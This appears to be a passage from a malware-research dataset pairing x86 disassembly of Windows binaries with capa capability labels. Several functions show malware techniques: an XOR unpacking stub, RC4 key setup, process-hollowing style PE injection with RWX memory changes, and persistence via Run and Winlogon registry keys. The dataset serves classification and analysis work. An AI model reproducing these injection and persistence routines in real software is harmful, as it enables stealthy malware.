joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cc0c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov word [ebp - 2], cx
mov edi, edx
mov esi, eax
push 0
push 0x8000080
push 3
push 0
push 1
push 0xc0000000
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40cc40
xor eax, eax
jmp 0x40cc91
lea eax, [ebp - 0xc]
push eax
mov ax, word [ebp - 2]
push eax
push edi
call sub.kernel32.dll_DosDateTimeToFileTime
test eax, eax
je 0x40cc74
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_LocalFileTimeToFileTime
test eax, eax
je 0x40cc74
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle
mov ax, word [ebp + 8]
and ax, 0x27
movzx eax, ax
push eax
push esi
call sub.kernel32.dll_SetFileAttributesA
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40df38
Capabilities:
Identify system language via api

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], eax
mov edx, dword [0x4186c0]
mov edx, dword [edx]
mov eax, dword [esp]
mov eax, dword [eax + 0x18]
call fcn.0040a7e0
mov ebp, 0xff
mov eax, 0x1a
call fcn.004155e4
mov esi, eax
dec esi
test esi, esi
jl 0x40dfaa
inc esi
xor ebx, ebx
mov edi, ebx
shl edi, 2
mov eax, dword [0x418658]
mov eax, dword [eax]
mov edx, dword [eax + edi*4]
mov eax, dword [esp]
mov eax, dword [eax + 0x24]
call fcn.0040b0d0
mov eax, dword [0x418658]
mov eax, dword [eax]
mov eax, dword [eax + edi*4 + 4]
call fcn.00409018
push eax
call sub.kernel32.dll_GetUserDefaultLangID
movzx eax, ax
pop edx
cmp edx, eax
jne 0x40dfa6
mov ebp, ebx
inc ebx
dec esi
jne 0x40df6c
cmp ebp, 0xff
jne 0x40dfea
mov eax, 0x1a
call fcn.004155e4
mov esi, eax
dec esi
test esi, esi
jl 0x40dfea
inc esi
xor ebx, ebx
mov eax, ebx
shl eax, 2
mov edx, dword [0x418658]
mov edx, dword [edx]
mov eax, dword [edx + eax*4]
mov edx, 0x40e010
call fcn.00401de4
jne 0x40dfe6
mov ebp, ebx
jmp 0x40dfea
inc ebx
dec esi
jne 0x40dfc6
cmp ebp, 0xff
jne 0x40dff4
xor ebp, ebp
mov eax, dword [esp]
mov eax, dword [eax + 0x24]
mov edx, ebp
call fcn.0040b374
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4102a4
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, edx
mov dword [esp], pe_nt_image_headers32
test al, al
je 0x4102c5
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
jmp 0x4102d0
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, ebx
lea edx, [esp + 4]
mov ecx, pe_nt_image_headers32
call fcn.00401c88
add esp, 0x104
pop ebx
ret

Function at 0x4102e8
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffc10
mov ebx, edx
push esp
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov eax, dword [esp]
push eax
call sub.ole32.dll_CoTaskMemFree
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x3e9
call fcn.00401c88
add esp, 0x3f0
pop ebx
ret
Function at 0x411bb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x411d8f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x41866c]
mov eax, dword [eax]
mov edx, dword [eax + 0xe4]
mov eax, dword [0x4197c4]
mov eax, dword [eax + 0x5c]
call fcn.0040a7e0
mov eax, dword [0x4186ac]
mov eax, dword [eax]
call fcn.0040ad48
mov eax, 0x28
call fcn.004155e4
mov edi, eax
dec edi
test edi, edi
jl 0x411d74
inc edi
xor ebx, ebx
mov esi, ebx
add esi, esi
lea esi, [esi + esi*2]
mov eax, dword [0x418668]
mov eax, dword [eax]
mov eax, dword [eax + esi*4 + 0x10]
call fcn.00409018
xor edx, edx
mov dl, byte [ebp - 1]
cmp eax, edx
jne 0x411d6c
mov eax, dword [0x418668]
mov eax, dword [eax]
mov eax, dword [eax + esi*4 + 4]
lea ecx, [ebp - 0xc]
xor edx, edx
call fcn.0041085c
mov eax, dword [0x418668]
mov eax, dword [eax]
mov eax, dword [eax + esi*4 + 8]
lea ecx, [ebp - 0x10]
xor edx, edx
call fcn.0041085c
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00404024
mov eax, dword [0x418668]
mov eax, dword [eax]
mov eax, dword [eax + esi*4 + 0xc]
call fcn.00409018
mov dword [ebp - 8], eax
mov eax, dword [0x418668]
mov eax, dword [eax]
mov eax, dword [eax + esi*4 + 0x14]
call fcn.00409018
dec eax
jne 0x411d27
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x3c
call fcn.00401330
mov dword [ebp - 0x50], 0x3c
mov eax, dword [0x4186ac]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x48], eax
mov eax, 0x411da0
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xc]
call fcn.00401e98
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x14]
call fcn.00401e98
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x10]
call fcn.00401e98
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], 0x240
lea eax, [ebp - 0x50]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x411d5b
jmp 0x411d0a
mov eax, dword [0x4186ac]
mov eax, dword [eax]
call fcn.0040ad48
push 0x32
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x411cfe
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x411d5b
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00401e98
push eax
mov eax, dword [ebp - 0x10]
call fcn.00401e98
push eax
mov eax, dword [ebp - 0xc]
call fcn.00401e98
push eax
push 0x411da0
mov eax, dword [0x4186ac]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
push eax
call sub.shell32.dll_ShellExecuteA
push 0
push 0x2800
mov eax, dword [0x4197c4]
call fcn.00410a24
inc ebx
dec edi
jne 0x411c13
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411d96
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00401a6c
ret
Function at 0x412270
Capabilities:
Delete file

Disassembly:
push ebx
add esp, 0xfffffff0
mov ebx, eax
cmp dword [0x4197e4], 0
jle 0x41228f
mov eax, dword [0x4197f0]
call fcn.00401e98
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, ebx
call fcn.004094ac
mov dword [esp], eax
mov eax, dword [esp]
mov edx, 0x412344
call fcn.00405264
mov eax, 0x75
call fcn.004155e4
cmp eax, dword [0x4197e4]
jne 0x4122cd
mov eax, 0x76
call fcn.004155e4
cdq
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
jmp 0x4122e0
mov eax, 0x5f
call fcn.004155e4
cdq
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
cmp dword [0x4197ec], 1
jne 0x41230f
mov eax, 0x5f
call fcn.004155e4
mov edx, eax
imul edx, dword [0x4197e4]
mov eax, dword [0x418698]
add edx, dword [eax]
mov eax, dword [0x4197e8]
xor ecx, ecx
call fcn.00409380
push dword [esp + 0xc]
push dword [esp + 0xc]
mov eax, dword [esp + 8]
call fcn.0041206c
mov eax, dword [esp]
call fcn.0040867c
mov eax, 0x4197f0
mov edx, ebx
call fcn.00401a9c
add esp, 0x10
pop ebx
ret
Function at 0x4125ac
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov esi, edx
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], ecx
mov esi, eax
xor eax, eax
push ebp
push 0x41276a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x1d], 1
lea eax, [esi + esi*2]
mov edx, dword [0x4186c8]
mov edx, dword [edx]
mov eax, dword [edx + eax*4]
lea ecx, [ebp - 0x24]
xor edx, edx
call fcn.0041085c
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
call fcn.00401a9c
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.00401e98
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x412701
test bl, 0x10
jne 0x412701
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.00401e98
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push edi
call sub.kernel32.dll_GetFileTime
push edi
call sub.kernel32.dll_CloseHandle
lea eax, [esi + esi*2]
mov edx, dword [0x4186c8]
mov edx, dword [edx]
mov eax, dword [edx + eax*4 + 4]
call fcn.00409018
cmp eax, 4
ja case.default.0x412673
jmp dword [eax*4 + 0x41267a]
push ebp
call fcn.004123ac
pop ecx
jmp case.default.0x412673
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x1c]
call fcn.00403f5c
dec eax
jne 0x4126ae
push ebp
call fcn.004123ac
pop ecx
jmp case.default.0x412673
mov byte [ebp - 0x1d], 0
jmp case.default.0x412673
mov byte [ebp - 0x1d], 1
jmp case.default.0x412673
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x1c]
call fcn.00403f5c
dec eax
sete byte [ebp - 0x1d]
jmp case.default.0x412673
mov byte [ebp - 0x1d], 0
cmp byte [ebp - 0x1d], 0
je 0x412716
test bl, 1
je 0x4126ef
and ebx, 0xfffffffe
push ebx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.00401e98
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.00401e98
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x412716
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.00404024
mov eax, dword [ebp - 0x28]
call fcn.004040a0
cmp byte [ebp - 0x1d], 0
jne 0x412726
mov eax, dword [ebp - 0xc]
call fcn.00401a48
jmp 0x41274c
lea eax, [esi + esi*2]
mov edx, dword [0x4186c8]
mov edx, dword [edx]
mov eax, dword [edx + eax*4 + 8]
call fcn.00409018
dec eax
jne 0x41274c
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
mov eax, dword [0x4197f4]
call fcn.0040b468
mov bl, byte [ebp - 0x1d]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412771
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00401a6c
ret
Function at 0x4156b8
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x415791
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
lea ecx, [ebp - 4]
xor edx, edx
mov eax, edi
call fcn.004155f4
mov eax, dword [ebp - 4]
call fcn.00401e98
push eax
call sub.kernel32.dll_DeleteFileA
inc edi
cmp edi, 0x12
jne 0x4156d7
test bl, bl
je 0x41574e
mov eax, 0x1a
call fcn.004155e4
mov esi, eax
add esi, 0x14
sub esi, 0x14
jl 0x41574e
inc esi
mov edi, 0x14
lea ecx, [ebp - 8]
xor edx, edx
mov eax, edi
call fcn.004155f4
mov eax, dword [ebp - 8]
call fcn.00401e98
push eax
call sub.kernel32.dll_DeleteFileA
lea ecx, [ebp - 0xc]
lea eax, [edi + 0x1e]
xor edx, edx
call fcn.004155f4
mov eax, dword [ebp - 0xc]
call fcn.00401e98
push eax
call sub.kernel32.dll_DeleteFileA
inc edi
dec esi
jne 0x415715
lea ecx, [ebp - 0x14]
xor edx, edx
mov eax, 1
call fcn.004155f4
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00404024
mov eax, dword [ebp - 0x10]
call fcn.00401e98
push eax
call sub.kernel32.dll_RemoveDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415798
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00401a6c
ret

Function at 0x415b28
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov byte [esp], 0
lea eax, [esp + 4]
push eax
push 0xffffffffffffffff
push 8
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.advapi32.dll_OpenThreadToken
mov ebx, eax
test ebx, ebx
jne 0x415b6c
call sub.kernel32.dll_GetLastError
cmp eax, 0x3f0
jne 0x415b6c
lea eax, [esp + 4]
push eax
push 8
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov ebx, eax
test ebx, ebx
je 0x415c03
mov eax, 0x400
call fcn.0040114c
mov esi, eax
lea eax, [esp + 8]
push eax
push 0x400
push esi
push 2
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_GetTokenInformation
mov ebx, eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle
test ebx, ebx
je 0x415bfc
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
push 0x418644
call sub.advapi32.dll_AllocateAndInitializeSid
mov ebx, dword [esi]
dec ebx
test ebx, ebx
jl 0x415bf2
inc ebx
xor edi, edi
mov eax, dword [esi + edi*8 + 4]
push eax
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_EqualSid
test eax, eax
je 0x415bee
mov byte [esp], 1
jmp 0x415bf2
inc edi
dec ebx
jne 0x415bd5
mov eax, dword [esp + 0xc]
push eax
call sub.advapi32.dll_FreeSid
mov eax, esi
call fcn.00401164
mov al, byte [esp]
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x415efc
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401e88
xor eax, eax
push ebp
push 0x415f6d
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040904c
mov edx, dword [ebp - 8]
mov eax, 0x419894
call fcn.00401a9c
xor eax, eax
mov dword [0x419890], eax
push 0
push 0x415e10
call sub.user32.dll_EnumWindows
mov ebx, dword [0x419890]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415f74
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401a6c
ret

Function at 0x415f7c
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, eax
xor ebx, ebx
test esi, esi
jns 0x415f8d
call fcn.004013ec
push esi
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov edi, eax
test edi, edi
jns 0x415fa5
call fcn.004013ec
push esp
mov esi, edi
test esi, esi
jns 0x415fb1
call fcn.004013ec
push esi
call sub.kernel32.dll_GetExitCodeProcess
test edi, edi
je 0x415fd4
mov eax, dword [esp]
push eax
test edi, edi
jns 0x415fc8
call fcn.004013ec
push esi
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb ebx, ebx
inc ebx
test edi, edi
jns 0x415fdd
call fcn.004013ec
push esi
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4096e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
jmp 0x409789
cmp dword [esi + 0x10], 0x1000
jne 0x409775
test byte [esi + 0x15], 1
jne 0x409775
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409734
cmp eax, 2
je 0x409734
cmp eax, 0x10
je 0x409734
cmp eax, 0x20
jne 0x409749
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409749
mov bl, 1
xor ebp, ebp
jmp 0x40975a
mov eax, dword [esi]
add eax, ebp
call fcn.004096d8
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40974d
test bl, bl
je 0x409775
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40970c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x3e4940
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428cb0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x442014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x443074
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.003f7f00
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x442a8c
push eax
call fcn.003f7f00
mov esi, dword [0x443084]
xor ebx, ebx
mov edi, dword [0x443088]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x4462d0], bl
mov eax, ebx
mov ecx, 0x443074
cmovae ecx, dword [0x443074]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x4463e0], al
inc ebx
cmp ebx, 0x100
jl 0x3e49c0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x4462d0]
movzx eax, byte [esi + 0x4463e0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x3e4a14
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x4462d0]
mov byte [esi + 0x4462d0], al
inc esi
mov byte [edi + 0x4462d0], dl
cmp esi, 0x100
jl 0x3e49f0
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.003e4590
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x3e4a69
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x3e4a5f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x3e4abf
push edx
push ecx
call fcn.003fd569
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x3e4aab
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x3e4aa1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x3e4abf
push edx
push ecx
call fcn.003fd569
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00416b7a
int3
Function at 0x3e7050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x442014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x4ed0162
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x3e7239
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x3e7239
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00414000
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x4eb03ab
nop
test eax, eax
je 0x3e7239
push 4
push 0x1000
push 4
push 0
call 0x4ec0e1b
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x4eb000c
nop
test eax, eax
je 0x3e7239
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x438d48
push dword [esp + 0x30]
call 0x4ed0201
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x3e715c
push 0x438d4c
push 0x438d64
call 0x4ec0ad6
nop
push eax
call 0x4eb0108
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x4eb02bc
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x3e7239
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x4ed009d
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x3e71f3
mov dword [esp + 0xc], eax
call fcn.003e6ea0
push eax
call 0x4ec0ad0
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x4ed009d
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x3e71a2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x4ed009d
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x4eb0480
nop
push dword [esp + 0x24]
call 0x4ec0b5f
nop
push 0x8000
push 0
push esi
call 0x4ed0000
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.003fcef4
mov esp, ebp
pop ebp
ret
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - 0x214], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044f4
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
jmp loc.0045f000
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push 0x404530
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push 0x404560
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret